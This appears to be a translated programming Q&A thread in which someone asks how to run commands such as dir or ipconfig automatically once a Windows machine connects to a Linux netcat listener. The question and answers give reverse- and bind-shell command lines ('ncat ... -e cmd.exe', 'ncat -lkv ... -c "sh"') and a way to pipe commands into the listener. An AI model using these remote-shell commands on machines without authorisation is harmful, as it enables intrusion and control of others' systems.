我正试图想办法从侦听Linux机器打开netcat连接并立即在目标Windows机器上执行命令(例如dir或ipconfig)。
类似的东西:
Linux机器:
nc -lvp 4444; dir
Windows机器:
ncat 192.168.1.25 4444 -e cmd.exe
我需要在与Windows机器建立连接后立即运行命令。
如果可以使用bash脚本完成此操作,那也会很棒。我尝试编写脚本,但在放入Windows命令shell后它不会注册任何命令。
任何帮助或建议将不胜感激!感谢。
答案 0 :(得分:2)
https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/
这可能会有帮助。
应为:
##On the server. It opens the
##listening machine's shell.
ncat -lkv <port number> -c "sh"
##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>
答案 1 :(得分:0)
该命令应该在nc
的标准输入上,而不是在nc
完成后运行的本地命令。
printf "dir\n" | nc -lvp 444
另见Pass commands as input to another command (su, ssh, sh, etc)